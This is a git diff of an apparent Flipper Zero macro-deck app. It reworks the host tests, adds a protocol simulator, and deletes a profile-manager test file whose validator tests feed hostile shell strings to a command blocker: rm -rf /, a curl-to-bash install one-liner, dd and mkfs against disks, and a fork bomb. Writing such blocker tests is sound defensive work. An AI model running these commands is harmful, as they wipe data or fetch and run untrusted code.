header for why that boundary is deliberate and load-bearing, not just an - * unfinished feature. - * - * Detection happens on the Sub-GHz worker thread (decoder callbacks), not - * the UI thread. Same as nfc_bridge.h, this bridge latches the result behind - * a mutex and exposes it via subghz_bridge_poll_signal(), meant to be called - * once per flipdeck_app_loop() tick while a scan is active. - */ - -#ifndef SUBGHZ_BRIDGE_H -#define SUBGHZ_BRIDGE_H - -#include -#include - -/** - * @brief Acquire the Sub-GHz hardware handle and allocate the reusable - * protocol environment. Call once at app startup. - * @return true if the handle was acquired successfully - */ -bool subghz_bridge_init(void); - -/** - * @brief Release Sub-GHz resources. Call once at app shutdown. - */ -void subghz_bridge_deinit(void); - -/** - * @brief Begin listening for a signal. Idempotent - calling this while a - * scan is already in progress is a no-op. - */ -void subghz_bridge_start_scan(void); - -/** - * @brief Stop any in-progress scan without waiting for a result. - */ -void subghz_bridge_stop_scan(void); - -/** - * @brief Check whether a signal was decoded since the last call, or since - * subghz_bridge_start_scan(). Call this once per main-loop tick while - * FlipDeckState_SubghzScan is active. - * - * On a true return, scanning has already been stopped (single-shot per - * scan session) - call subghz_bridge_start_scan() again to re-arm. - * - * @param signature_hex_out Buffer to receive the fingerprint hex string - * (size at least FLIPDECK_SUBGHZ_SIG_HEX_LEN, see profile_manager.h) - * @param out_size Size of signature_hex_out - * @return true if a signal was decoded and signature_hex_out is valid - */ -bool subghz_bridge_poll_signal(char* signature_hex_out, size_t out_size); - -#endif // SUBGHZ_BRIDGE_H diff --git a/src/tests/host/.gitignore b/src/tests/host/.gitignore index dc6dd76..3e6fd8b 100644 --- a/src/tests/host/.gitignore +++ b/src/tests/host/.gitignore @@ -1,5 +1,4 @@ -# Built host-test binaries (rebuilt via `make`) -/test_profile_manager -/test_usb_hid -/test_profile_manager_target -/test_settings +test_proto +test_state +*.dSYM +fd_sim diff --git a/src/tests/host/Makefile b/src/tests/host/Makefile index 3e3d249..75f27fa 100644 --- a/src/tests/host/Makefile +++ b/src/tests/host/Makefile @@ -1,39 +1,29 @@ -CC = gcc -CFLAGS = -DUFBT_HOST_BUILD -I./stubs -std=c99 -Wall -Wextra -Wpedantic +# Host tests for the SDK-independent parts of the Flipper app (protocol + state). +# `make run` is what CI invokes. +CC ?= cc +CFLAGS = -std=c11 -Wall -Wextra -Wpedantic -Werror -Wconversion -Wno-sign-conversion -g -fsanitize=address,undefined -I../.. SRCDIR = ../.. .PHONY: all test run clean -all: test_profile_manager test_usb_hid test_profile_manager_target test_settings +all: test_proto test_state fd_sim -test_profile_manager: test_profile_manager.c $(SRCDIR)/profile_manager.c - $(CC) $(CFLAGS) -o $@ $^ +test_proto: test_proto.c test_util.h $(SRCDIR)/fd_proto.c $(SRCDIR)/fd_proto.h + $(CC) $(CFLAGS) -o $@ test_proto.c $(SRCDIR)/fd_proto.c -test_usb_hid: test_usb_hid.c $(SRCDIR)/usb_hid.c $(SRCDIR)/usb_hid.h - $(CC) $(CFLAGS) -o $@ test_usb_hid.c +test_state: test_state.c test_util.h $(SRCDIR)/fd_state.c $(SRCDIR)/fd_state.h $(SRCDIR)/fd_proto.c + $(CC) $(CFLAGS) -o $@ test_state.c $(SRCDIR)/fd_state.c $(SRCDIR)/fd_proto.c -test_profile_manager_target: test_profile_manager_target.c $(SRCDIR)/profile_manager.c - $(CC) $(CFLAGS) -o $@ $^ - -# test_settings.c #includes profile_manager.c and settings.c directly to reach -# the static JSON helpers, so it is compiled as a single translation unit. -test_settings: test_settings.c $(SRCDIR)/profile_manager.c $(SRCDIR)/settings.c - $(CC) $(CFLAGS) -I$(SRCDIR) -o $@ test_settings.c +# The Flipper's protocol/state code as a stdin/stdout process, used by the +# Swift interop test (mac/Tests/FlipDeckCoreTests/InteropTests.swift). +fd_sim: fd_sim.c $(SRCDIR)/fd_state.c $(SRCDIR)/fd_state.h $(SRCDIR)/fd_proto.c + $(CC) $(CFLAGS) -D_POSIX_C_SOURCE=200809L -o $@ fd_sim.c $(SRCDIR)/fd_state.c $(SRCDIR)/fd_proto.c test: run run: all - @echo "--- profile_manager ---" - ./test_profile_manager - @echo "" - @echo "--- usb_hid ---" - ./test_usb_hid - @echo "" - @echo "--- profile_manager_target ---" - ./test_profile_manager_target - @echo "" - @echo "--- settings ---" - ./test_settings + ./test_proto ../../../docs/protocol-vectors.txt + ./test_state clean: - rm -f test_profile_manager test_usb_hid test_profile_manager_target test_settings + rm -f test_proto test_state fd_sim diff --git a/src/tests/host/fd_sim.c b/src/tests/host/fd_sim.c new file mode 100644 index 0000000..88c6710 --- /dev/null +++ b/src/tests/host/fd_sim.c @@ -0,0 +1,73 @@ +/* fd_sim: the Flipper's real protocol/state code (fd_state + fd_proto) as a + * stdin/stdout process, so the Mac's Swift session can be tested against it + * end to end (mac/Tests/FlipDeckCoreTests/InteropTests.swift). + * + * Reads Mac->Flipper bytes on stdin, writes Flipper->Mac bytes to stdout. + * Scripted behaviour: after the first committed snapshot it requests the + * first action of kind $FD_SIM_ACTION (default OPEN); when an alert arrives + * it dismisses it (SEEN). Progress is reported on stderr as KEY=value lines. + */ +#include "fd_state.h" + +#include +#include +#include +#include + +static uint32_t g_now = 0; + +static void flush(FdOutbox* out) { + if(out->len == 0) return; + fwrite(out->data, 1, out->len, stdout); + fflush(stdout); + out->len = 0; +} + +int main(void) { + const char* kind = getenv("FD_SIM_ACTION"); + if(!kind) kind = "OPEN"; + FdState* state = malloc(sizeof(FdState)); + fd_state_init(state, 0x51u); + FdLineReader reader; + fd_line_reset(&reader); + FdOutbox out = {.len = 0}; + bool requested = false; + + fd_state_link_up(state, g_now); + fprintf(stderr, "READY=1\n"); + + uint8_t buffer[64]; + ssize_t n; + while((n = read(STDIN_FILENO, buffer, sizeof(buffer))) > 0) { + g_now += 10; + uint32_t changes = fd_state_receive(state, &reader, buffer, (size_t)n, g_now, &out); + if(changes & FdChangeCommitted) { + fprintf(stderr, "COMMITTED=%lu PROJECTS=%u ACTIONS=%u FIRST=%s\n", + (unsigned long)state->committed_gen, state->committed.project_count, + state->committed.action_count, + state->committed.project_count ? state->committed.projects[0].name : ""); + if(!requested) { + for(size_t i = 0; i < state->committed.action_count; i++) { + if(strcmp(state->committed.actions[i].kind, kind) == 0) { + requested = fd_state_request(state, &state->committed.actions[i], g_now, &out); + fprintf(stderr, "REQUESTED=%s\n", state->committed.actions[i].id); + break; + } + } + } + } + if(changes & FdChangeAlert) { + fprintf(stderr, "ALERT=%s|%s\n", state->alert.id, state->alert.title); + fd_state_seen(state, state->alert.id, &out); + } + if(changes & FdChangeResult) { + fprintf(stderr, "RESULT=%d|%s\n", state->result_ok ? 1 : 0, state->result); + } + flush(&out); + fflush(stderr); + } + fprintf(stderr, "LINK=%d FRAMES_OK=%lu FRAMES_BAD=%lu\n", (int)state->link, + (unsigned long)state->frames_ok, (unsigned long)state->frames_bad); + free(state); + return 0; +} diff --git a/src/tests/host/stubs/furi.h b/src/tests/host/stubs/furi.h deleted file mode 100644 index 817b35e..0000000 --- a/src/tests/host/stubs/furi.h +++ /dev/null @@ -1,54 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include - -/* Logging stubs — only defined if not already defined by real headers */ -#ifndef FURI_LOG_I -#define FURI_LOG_I(...) ((void)0) -#endif -#ifndef FURI_LOG_W -#define FURI_LOG_W(...) ((void)0) -#endif -#ifndef FURI_LOG_E -#define FURI_LOG_E(...) ((void)0) -#endif -#ifndef FURI_LOG_D -#define FURI_LOG_D(...) ((void)0) -#endif - -/* Filesystem stubs */ -typedef struct { int _dummy; } FuriFs; - -#define FuriStatusOK 0 - -#define FuriFlagRead (1 << 0) -#define FuriFlagWrite (1 << 1) -#define FuriFlagCreate (1 << 2) -#define FuriFlagDirectory (1 << 3) - -static inline FuriFs* furi_open(const char* path, int flags, bool truncate) { - (void)path; (void)flags; (void)truncate; return NULL; -} -static inline void furi_close(FuriFs* fs) { (void)fs; } -static inline int furi_mkdir(const char* path) { (void)path; return 0; } -static inline uint32_t furi_stream_read(FuriFs* fs, void* buf, uint32_t size) { - (void)fs; (void)buf; (void)size; return 0; -} -static inline uint32_t furi_stream_write(FuriFs* fs, const void* buf, uint32_t size) { - (void)fs; (void)buf; (void)size; return 0; -} -static inline bool furi_fs_read_directory(FuriFs* dir, char* name, size_t size) { - (void)dir; (void)name; (void)size; return false; -} -static inline void* furi_record_open(const char* name) { - (void)name; return NULL; -} -static inline void furi_record_close(const char* name) { - (void)name; -} -static inline void furi_delay_ms(uint32_t ms) { (void)ms; } diff --git a/src/tests/host/stubs/furi_core/fs.h b/src/tests/host/stubs/furi_core/fs.h deleted file mode 100644 index a6a2224..0000000 --- a/src/tests/host/stubs/furi_core/fs.h +++ /dev/null @@ -1,2 +0,0 @@ -#pragma once -/* furi_core/fs.h stub - filesystem ops already stubbed in furi.h */ diff --git a/src/tests/host/stubs/furi_core/storage.h b/src/tests/host/stubs/furi_core/storage.h deleted file mode 100644 index cb16dbc..0000000 --- a/src/tests/host/stubs/furi_core/storage.h +++ /dev/null @@ -1,2 +0,0 @@ -#pragma once -/* furi_core/storage.h stub */ diff --git a/src/tests/host/stubs/furi_core/string.h b/src/tests/host/stubs/furi_core/string.h deleted file mode 100644 index abaa4b6..0000000 --- a/src/tests/host/stubs/furi_core/string.h +++ /dev/null @@ -1,2 +0,0 @@ -#pragma once -/* furi_core/string.h stub - standard already pulled in via furi.h */ diff --git a/src/tests/host/stubs/furi_hal.h b/src/tests/host/stubs/furi_hal.h deleted file mode 100644 index 22fe842..0000000 --- a/src/tests/host/stubs/furi_hal.h +++ /dev/null @@ -1,2 +0,0 @@ -#pragma once -/* Furi HAL stub - no hardware on host */ diff --git a/src/tests/host/stubs/furi_hal_usb_hid.h b/src/tests/host/stubs/furi_hal_usb_hid.h deleted file mode 100644 index d3d3d77..0000000 --- a/src/tests/host/stubs/furi_hal_usb_hid.h +++ /dev/null @@ -1,104 +0,0 @@ -#pragma once - -#include -#include - - -#ifndef HID_KEYBOARD_A -#define HID_KEYBOARD_A 4 -#define HID_KEYBOARD_B 5 -#define HID_KEYBOARD_C 6 -#define HID_KEYBOARD_D 7 -#define HID_KEYBOARD_E 8 -#define HID_KEYBOARD_F 9 -#define HID_KEYBOARD_G 10 -#define HID_KEYBOARD_H 11 -#define HID_KEYBOARD_I 12 -#define HID_KEYBOARD_J 13 -#define HID_KEYBOARD_K 14 -#define HID_KEYBOARD_L 15 -#define HID_KEYBOARD_M 16 -#define HID_KEYBOARD_N 17 -#define HID_KEYBOARD_O 18 -#define HID_KEYBOARD_P 19 -#define HID_KEYBOARD_Q 20 -#define HID_KEYBOARD_R 21 -#define HID_KEYBOARD_S 22 -#define HID_KEYBOARD_T 23 -#define HID_KEYBOARD_U 24 -#define HID_KEYBOARD_V 25 -#define HID_KEYBOARD_W 26 -#define HID_KEYBOARD_X 27 -#define HID_KEYBOARD_Y 28 -#define HID_KEYBOARD_Z 29 -#define HID_KEYBOARD_1 30 -#define HID_KEYBOARD_2 31 -#define HID_KEYBOARD_3 32 -#define HID_KEYBOARD_4 33 -#define HID_KEYBOARD_5 34 -#define HID_KEYBOARD_6 35 -#define HID_KEYBOARD_7 36 -#define HID_KEYBOARD_8 37 -#define HID_KEYBOARD_9 38 -#define HID_KEYBOARD_0 39 -#define HID_KEYBOARD_RETURN 40 -#define HID_KEYBOARD_ESCAPE 41 -#define HID_KEYBOARD_DELETE 42 -#define HID_KEYBOARD_TAB 43 -#define HID_KEYBOARD_SPACEBAR 44 -#define HID_KEYBOARD_MINUS 45 -#define HID_KEYBOARD_EQUAL_SIGN 46 -#define HID_KEYBOARD_OPEN_BRACKET 47 -#define HID_KEYBOARD_CLOSE_BRACKET 48 -#define HID_KEYBOARD_BACKSLASH 49 -#define HID_KEYBOARD_SEMICOLON 51 -#define HID_KEYBOARD_APOSTROPHE 52 -#define HID_KEYBOARD_GRAVE_ACCENT 53 -#define HID_KEYBOARD_COMMA 54 -#define HID_KEYBOARD_DOT 55 -#define HID_KEYBOARD_SLASH 56 -#define HID_KEYBOARD_F4 61 -#define HID_KEYBOARD_F5 62 -#define HID_KEYBOARD_F6 63 -#define HID_KEYBOARD_F7 64 -#define HID_KEYBOARD_F8 65 -#define HID_KEYBOARD_F9 66 -#define HID_KEYBOARD_F10 67 -#define HID_KEYBOARD_F11 68 -#define HID_KEYBOARD_F12 69 -#define HID_KEYBOARD_RIGHT_ARROW 79 -#define HID_KEYBOARD_LEFT_ARROW 80 -#define HID_KEYBOARD_DOWN_ARROW 81 -#define HID_KEYBOARD_UP_ARROW 82 -#endif - -/* Real firmware places modifiers in the upper byte of the uint16_t button - * value (HID_KEYBOARD_* keycodes occupy the lower byte, 0-255), so these - * must not collide with keycode values. */ -#ifndef KEY_MOD_LEFT_CTRL -#define KEY_MOD_LEFT_CTRL (1 << 8) -#define KEY_MOD_LEFT_SHIFT (1 << 9) -#define KEY_MOD_LEFT_ALT (1 << 10) -#define KEY_MOD_LEFT_GUI (1 << 11) -#endif - -typedef struct { - uint8_t modifiers; - uint8_t reserved; - uint8_t keys[6]; -} furi_hal_usb_hid_keyboard_report_t; - -static inline void furi_hal_usb_hid_send_keyboard_report(furi_hal_usb_hid_keyboard_report_t* r) { - (void)r; -} -static inline bool furi_hal_usb_is_enabled(void) { return false; } -static inline bool furi_hal_hid_is_connected(void) { return false; } -static inline bool furi_hal_hid_kb_press(uint16_t button) { - (void)button; - return true; -} -static inline bool furi_hal_hid_kb_release(uint16_t button) { - (void)button; - return true; -} -static inline bool furi_hal_hid_kb_release_all(void) { return true; } diff --git a/src/tests/host/stubs/storage/storage.h b/src/tests/host/stubs/storage/storage.h deleted file mode 100644 index a666cca..0000000 --- a/src/tests/host/stubs/storage/storage.h +++ /dev/null @@ -1,108 +0,0 @@ -#pragma once -/* storage/storage.h stub for host-only unit tests. */ - -#include -#include -#include - -#define RECORD_STORAGE "storage" - -typedef struct { - int _dummy; -} Storage; - -typedef struct { - int _dummy; -} File; - -typedef struct { - uint8_t flags; - uint64_t size; -} FileInfo; - -typedef enum { - FSAM_READ = (1 << 0), - FSAM_WRITE = (1 << 1), - FSAM_READ_WRITE = FSAM_READ | FSAM_WRITE, -} FS_AccessMode; - -typedef enum { - FSOM_OPEN_EXISTING = 1, - FSOM_OPEN_ALWAYS = 2, - FSOM_OPEN_APPEND = 4, - FSOM_CREATE_NEW = 8, - FSOM_CREATE_ALWAYS = 16, -} FS_OpenMode; - -typedef enum { - FSE_OK = 0, - FSE_NOT_EXIST = 1, -} FS_Error; - -static inline File* storage_file_alloc(Storage* storage) { - (void)storage; - return NULL; -} - -static inline void storage_file_free(File* file) { - (void)file; -} - -static inline bool storage_file_open( - File* file, - const char* path, - FS_AccessMode access_mode, - FS_OpenMode open_mode) { - (void)file; - (void)path; - (void)access_mode; - (void)open_mode; - return false; -} - -static inline bool storage_file_close(File* file) { - (void)file; - return true; -} - -static inline size_t storage_file_read(File* file, void* buff, size_t bytes_to_read) { - (void)file; - (void)buff; - (void)bytes_to_read; - return 0; -} - -static inline size_t storage_file_write(File* file, const void* buff, size_t bytes_to_write) { - (void)file; - (void)buff; - return bytes_to_write; -} - -static inline bool storage_dir_open(File* file, const char* path) { - (void)file; - (void)path; - return false; -} - -static inline bool storage_dir_close(File* file) { - (void)file; - return true; -} - -static inline bool storage_dir_read( - File* file, - FileInfo* fileinfo, - char* name, - uint16_t name_length) { - (void)file; - (void)fileinfo; - (void)name; - (void)name_length; - return false; -} - -static inline FS_Error storage_common_mkdir(Storage* storage, const char* path) { - (void)storage; - (void)path; - return FSE_OK; -} diff --git a/src/tests/host/test_profile_manager.c b/src/tests/host/test_profile_manager.c deleted file mode 100644 index f700219..0000000 --- a/src/tests/host/test_profile_manager.c +++ /dev/null @@ -1,440 +0,0 @@ -/* test_profile_manager.c - Host tests for pure profile_manager.c functions - * - * Compiled with stub Furi headers so the filesystem-facing functions are no-ops. - * Only profile_manager_is_value_safe and profile_manager_validate_action are - * exercised here — they contain all the safety-critical logic. - */ - -#include -#include - -#include "../../profile_manager.h" - -static int g_passes = 0; -static int g_failures = 0; - -#define EXPECT_TRUE(expr, msg) do { \ - if (expr) { printf(" PASS: %s\n", (msg)); g_passes++; } \ - else { printf(" FAIL: %s (line %d)\n", (msg), __LINE__); g_failures++; } \ -} while(0) - -#define EXPECT_FALSE(expr, msg) EXPECT_TRUE(!(expr), (msg)) -#define EXPECT_STR_EQ(a, b, msg) EXPECT_TRUE(strcmp((a), (b)) == 0, (msg)) - -/* ---------- is_value_safe: dangerous patterns ---------- */ - -static void test_dangerous_rm_rf(void) { - EXPECT_FALSE(profile_manager_is_value_safe("rm -rf /"), "blocks rm -rf /"); - EXPECT_FALSE(profile_manager_is_value_safe("echo x && rm -rf ."), "blocks rm -rf in chain"); - EXPECT_FALSE(profile_manager_is_value_safe("rm -rf /"), "blocks rm -rf (extra spaces)"); - EXPECT_FALSE(profile_manager_is_value_safe("rm\t-rf /tmp"), "blocks rm\\t-rf (tab)"); -} - -static void test_warning_sudo(void) { - /* sudo is a warning, not a block - flagged but allowed through */ - EXPECT_TRUE(profile_manager_is_value_safe("sudo rm something"), "allows sudo (warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("sudo"), "allows bare sudo (warning only)"); -} - -static void test_dangerous_remote_exec(void) { - EXPECT_FALSE(profile_manager_is_value_safe("curl | sh"), "blocks curl | sh (exact pattern)"); - EXPECT_FALSE(profile_manager_is_value_safe("wget | sh"), "blocks wget | sh (exact pattern)"); - EXPECT_FALSE( - profile_manager_is_value_safe("curl -fsSL https://example.com/install.sh | bash"), - "blocks real curl|bash one-liner"); - EXPECT_FALSE(profile_manager_is_value_safe("CURL https://x | SH"), "blocks curl|sh case-insensitively"); - EXPECT_FALSE(profile_manager_is_value_safe("curl https://x |\tbash"), "blocks curl … |\\tbash"); - EXPECT_FALSE(profile_manager_is_value_safe("wget https://x | sh"), "blocks wget … | sh"); - /* "curl.ssh" has no pipe into a shell - it isn't a remote-exec pattern */ - EXPECT_TRUE(profile_manager_is_value_safe("curl.ssh user@host"), "allows curl.ssh (no pipe to shell)"); - EXPECT_TRUE(profile_manager_is_value_safe("curl https://x | cat"), "allows curl … | cat"); -} - -static void test_dangerous_disk_ops(void) { - EXPECT_FALSE(profile_manager_is_value_safe("mkfs.ext4 /dev/sda"), "blocks mkfs"); - EXPECT_FALSE(profile_manager_is_value_safe("dd if=/dev/zero of=/dev/sda"), "blocks dd if="); - EXPECT_FALSE(profile_manager_is_value_safe("dd if=/dev/zero of=/dev/sda"), "blocks dd if= (extra spaces)"); - EXPECT_FALSE(profile_manager_is_value_safe("echo data > /dev/sda"), "blocks > /dev/sd"); - EXPECT_FALSE(profile_manager_is_value_safe("echo data >/dev/sda"), "blocks >/dev/sd (no space)"); - EXPECT_FALSE(profile_manager_is_value_safe("echo data > /dev/sdb"), "blocks > /dev/sd (extra spaces)"); -} - -static void test_dangerous_fork_bomb(void) { - EXPECT_FALSE(profile_manager_is_value_safe(":(){ :|:& };:"), "blocks fork bomb"); -} - -static void test_dangerous_case_insensitive(void) { - EXPECT_FALSE(profile_manager_is_value_safe("RM -RF /"), "blocks RM -RF (uppercase)"); - EXPECT_FALSE(profile_manager_is_value_safe("Rm -Rf /tmp"), "blocks Rm -Rf (mixed case)"); -} - -static void test_warning_permissions(void) { - /* chmod 777 / chown root are warnings, not blocks */ - EXPECT_TRUE(profile_manager_is_value_safe("chmod 777 /etc/passwd"), "allows chmod 777 (warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("chown root /etc"), "allows chown root (warning only)"); -} - -/* ---------- is_value_safe: credential patterns (warning, not block) ---------- */ - -static void test_credential_uppercase(void) { - EXPECT_TRUE(profile_manager_is_value_safe("export PASSWORD=secret"), "allows PASSWORD= (warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("echo TOKEN=abc"), "allows TOKEN= (warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("API_KEY=xyz"), "allows API_KEY= (warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("export SECRET=foo"), "allows SECRET= (warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("PRIVATE_KEY=bar"), "allows PRIVATE_KEY= (warning only)"); -} - -static void test_credential_lowercase(void) { - EXPECT_TRUE(profile_manager_is_value_safe("export password=secret"), "allows password= (lower, warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("my_token=abc"), "allows token= (lower, warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("api_key=xyz"), "allows api_key= (lower, warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("export secret=foo"), "allows secret= (lower, warning only)"); - EXPECT_TRUE(profile_manager_is_value_safe("private_key=bar"), "allows private_key= (lower, warning only)"); -} - -/* ---------- is_value_safe: safe values ---------- */ - -static void test_safe_dev_commands(void) { - EXPECT_TRUE(profile_manager_is_value_safe("git status"), "allows git status"); - EXPECT_TRUE(profile_manager_is_value_safe("git add ."), "allows git add"); - EXPECT_TRUE(profile_manager_is_value_safe("npm run dev"), "allows npm run dev"); - EXPECT_TRUE(profile_manager_is_value_safe("npm install"), "allows npm install"); - EXPECT_TRUE(profile_manager_is_value_safe("python"), "allows python"); - EXPECT_TRUE(profile_manager_is_value_safe("pip install flask"), "allows pip install"); - EXPECT_TRUE(profile_manager_is_value_safe("docker ps"), "allows docker ps"); - EXPECT_TRUE(profile_manager_is_value_safe("ls -la"), "allows ls -la"); - EXPECT_TRUE(profile_manager_is_value_safe("clear"), "allows clear"); -} - -static void test_safe_empty_string(void) { - EXPECT_TRUE(profile_manager_is_value_safe(""), "allows empty string"); -} - -static void test_safe_null_rejected(void) { - EXPECT_FALSE(profile_manager_is_value_safe(NULL), "rejects NULL"); -} - -/* ---------- validate_action ---------- */ - -static void test_validate_key_actions_always_safe(void) { - FlipDeckAction key; - memset(&key, 0, sizeof(key)); - strncpy(key.label, "Next Slide", sizeof(key.label) - 1); - key.type = FlipDeckActionType_Key; - strncpy(key.value, "RIGHT", sizeof(key.value) - 1); - key.confirm = false; - EXPECT_TRUE(profile_manager_validate_action(&key), "Key action: RIGHT"); - - /* Key actions are safe regardless of value content */ - FlipDeckAction tricky; - memset(&tricky, 0, sizeof(tricky)); - tricky.type = FlipDeckActionType_Key; - strncpy(tricky.value, "rm -rf", sizeof(tricky.value) - 1); - EXPECT_TRUE(profile_manager_validate_action(&tricky), "Key type ignores value content"); -} - -static void test_validate_key_combo_always_safe(void) { - FlipDeckAction combo; - memset(&combo, 0, sizeof(combo)); - strncpy(combo.label, "Command Palette", sizeof(combo.label) - 1); - combo.type = FlipDeckActionType_KeyCombo; - strncpy(combo.value, "CTRL+SHIFT+P", sizeof(combo.value) - 1); - combo.confirm = false; - EXPECT_TRUE(profile_manager_validate_action(&combo), "KeyCombo: CTRL+SHIFT+P"); -} - -static void test_validate_text_safe(void) { - FlipDeckAction act; - memset(&act, 0, sizeof(act)); - strncpy(act.label, "Git Status", sizeof(act.label) - 1); - act.type = FlipDeckActionType_Text; - strncpy(act.value, "git status\n", sizeof(act.value) - 1); - act.confirm = true; - EXPECT_TRUE(profile_manager_validate_action(&act), "Text action: git status"); -} - -static void test_validate_text_dangerous(void) { - FlipDeckAction act; - memset(&act, 0, sizeof(act)); - act.type = FlipDeckActionType_Text; - strncpy(act.value, "rm -rf /", sizeof(act.value) - 1); - EXPECT_FALSE(profile_manager_validate_action(&act), "Text action: rm -rf blocked"); - - FlipDeckAction cred; - memset(&cred, 0, sizeof(cred)); - cred.type = FlipDeckActionType_Text; - strncpy(cred.value, "export PASSWORD=hunter2", sizeof(cred.value) - 1); - EXPECT_TRUE(profile_manager_validate_action(&cred), "Text action: PASSWORD allowed (warning only)"); -} - -static void test_validate_null(void) { - EXPECT_FALSE(profile_manager_validate_action(NULL), "NULL action rejected"); -} - -/* ---------- favorites ---------- */ - -static void test_favorites_toggle_add_remove(void) { - FlipDeckSettings settings; - memset(&settings, 0, sizeof(settings)); - - EXPECT_FALSE( - profile_manager_is_favorite(&settings, "git", "Git Status"), "not favorited initially"); - - bool added = profile_manager_toggle_favorite(&settings, "git", "Git Status"); - EXPECT_TRUE(added, "toggle returns true when adding"); - EXPECT_TRUE(settings.favorite_count == 1, "favorite_count is 1 after add"); - EXPECT_TRUE( - profile_manager_is_favorite(&settings, "git", "Git Status"), "favorited after add"); - EXPECT_FALSE( - profile_manager_is_favorite(&settings, "node", "Git Status"), - "different category_id does not match"); - - bool removed = profile_manager_toggle_favorite(&settings, "git", "Git Status"); - EXPECT_FALSE(removed, "toggle returns false when removing"); - EXPECT_TRUE(settings.favorite_count == 0, "favorite_count is 0 after remove"); - EXPECT_FALSE( - profile_manager_is_favorite(&settings, "git", "Git Status"), "not favorited after remove"); -} - -static void test_favorites_removal_shifts_tail(void) { - FlipDeckSettings settings; - memset(&settings, 0, sizeof(settings)); - - profile_manager_toggle_favorite(&settings, "git", "Status"); - profile_manager_toggle_favorite(&settings, "git", "Push"); - profile_manager_toggle_favorite(&settings, "node", "Run Dev"); - EXPECT_TRUE(settings.favorite_count == 3, "three favorites added"); - - /* Remove the middle one; the last entry should shift down, not vanish. */ - profile_manager_toggle_favorite(&settings, "git", "Push"); - EXPECT_TRUE(settings.favorite_count == 2, "favorite_count is 2 after removing middle"); - EXPECT_TRUE( - profile_manager_is_favorite(&settings, "git", "Status"), "first favorite survives"); - EXPECT_TRUE( - profile_manager_is_favorite(&settings, "node", "Run Dev"), "last favorite survives (shifted)"); - EXPECT_FALSE( - profile_manager_is_favorite(&settings, "git", "Push"), "removed favorite is gone"); -} - -static void test_favorites_capacity(void) { - FlipDeckSettings settings; - memset(&settings, 0, sizeof(settings)); - - char label[16]; - for(uint32_t i = 0; i < FLIPDECK_MAX_FAVORITES; i++) { - snprintf(label, sizeof(label), "Action %u", i); - EXPECT_TRUE(profile_manager_toggle_favorite(&settings, "git", label), "fills capacity"); - } - EXPECT_TRUE(settings.favorite_count == FLIPDECK_MAX_FAVORITES, "favorite_count caps out"); - - bool added_over_capacity = profile_manager_toggle_favorite(&settings, "git", "One Too Many"); - EXPECT_FALSE(added_over_capacity, "adding beyond capacity returns false"); - EXPECT_TRUE( - settings.favorite_count == FLIPDECK_MAX_FAVORITES, - "favorite_count unchanged when full"); -} - -static void test_favorites_null_args(void) { - FlipDeckSettings settings; - memset(&settings, 0, sizeof(settings)); - - EXPECT_FALSE(profile_manager_is_favorite(NULL, "git", "x"), "is_favorite rejects NULL settings"); - EXPECT_FALSE(profile_manager_is_favorite(&settings, NULL, "x"), "is_favorite rejects NULL category_id"); - EXPECT_FALSE(profile_manager_toggle_favorite(NULL, "git", "x"), "toggle rejects NULL settings"); -} - -/* ---------- NFC tags ---------- */ - -static void test_nfc_hex_encode_uid(void) { - uint8_t uid4[] = {0x04, 0xA1, 0xB2, 0xC3}; - char out[FLIPDECK_NFC_UID_HEX_LEN]; - - EXPECT_TRUE(profile_manager_hex_encode_uid(uid4, sizeof(uid4), out, sizeof(out)), "encodes 4-byte uid"); - EXPECT_STR_EQ(out, "04A1B2C3", "4-byte uid hex matches"); - - uint8_t uid7[] = {0x00, 0xFF, 0x10, 0x20, 0x30, 0x40, 0x50}; - EXPECT_TRUE(profile_manager_hex_encode_uid(uid7, sizeof(uid7), out, sizeof(out)), "encodes 7-byte uid"); - EXPECT_STR_EQ(out, "00FF1020304050", "7-byte uid hex matches"); -} - -static void test_nfc_hex_encode_uid_bounds(void) { - uint8_t uid[] = {0x01, 0x02}; - char too_small[3]; - - EXPECT_FALSE( - profile_manager_hex_encode_uid(uid, sizeof(uid), too_small, sizeof(too_small)), - "rejects output buffer too small for uid"); - EXPECT_FALSE(profile_manager_hex_encode_uid(NULL, 2, too_small, sizeof(too_small)), "rejects NULL uid"); - EXPECT_FALSE(profile_manager_hex_encode_uid(uid, 0, too_small, sizeof(too_small)), "rejects zero-length uid"); - - char out[FLIPDECK_NFC_UID_HEX_LEN]; - EXPECT_FALSE(profile_manager_hex_encode_uid(uid, sizeof(uid), NULL, sizeof(out)), "rejects NULL out"); -} - -static void test_nfc_find_tag(void) { - FlipDeckNfcTag tags[3]; - memset(tags, 0, sizeof(tags)); - strcpy(tags[0].uid_hex, "04A1B2C3"); - strcpy(tags[0].category_id, "git"); - strcpy(tags[0].label, "Git Status"); - strcpy(tags[1].uid_hex, "00FF1020"); - strcpy(tags[1].category_id, "node"); - strcpy(tags[1].label, "Run Dev"); - - const FlipDeckNfcTag* found = profile_manager_find_nfc_tag(tags, 2, "04A1B2C3"); - EXPECT_TRUE(found != NULL, "finds existing uid"); - EXPECT_STR_EQ(found->category_id, "git", "found tag has correct category_id"); - EXPECT_STR_EQ(found->label, "Git Status", "found tag has correct label"); - - EXPECT_TRUE(profile_manager_find_nfc_tag(tags, 2, "DEADBEEF") == NULL, "unknown uid returns NULL"); - EXPECT_TRUE(profile_manager_find_nfc_tag(tags, 2, "00FF1020")->category_id[0] == 'n', "finds second entry"); - EXPECT_TRUE(profile_manager_find_nfc_tag(NULL, 2, "x") == NULL, "NULL tags array returns NULL"); - EXPECT_TRUE(profile_manager_find_nfc_tag(tags, 2, NULL) == NULL, "NULL uid_hex returns NULL"); -} - -/* ---------- Sub-GHz remotes ---------- */ - -static void test_subghz_hash_signature(void) { - char out[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - - EXPECT_TRUE(profile_manager_hash_subghz_signature("test", out, sizeof(out)), "hashes 'test'"); - EXPECT_STR_EQ(out, "F9E6E6EF197C2B25", "FNV-1a hash of 'test' matches known vector"); - - EXPECT_TRUE( - profile_manager_hash_subghz_signature( - "Princeton, Key:0x123456, Bit:24", out, sizeof(out)), - "hashes a realistic decoded-protocol string"); - EXPECT_STR_EQ(out, 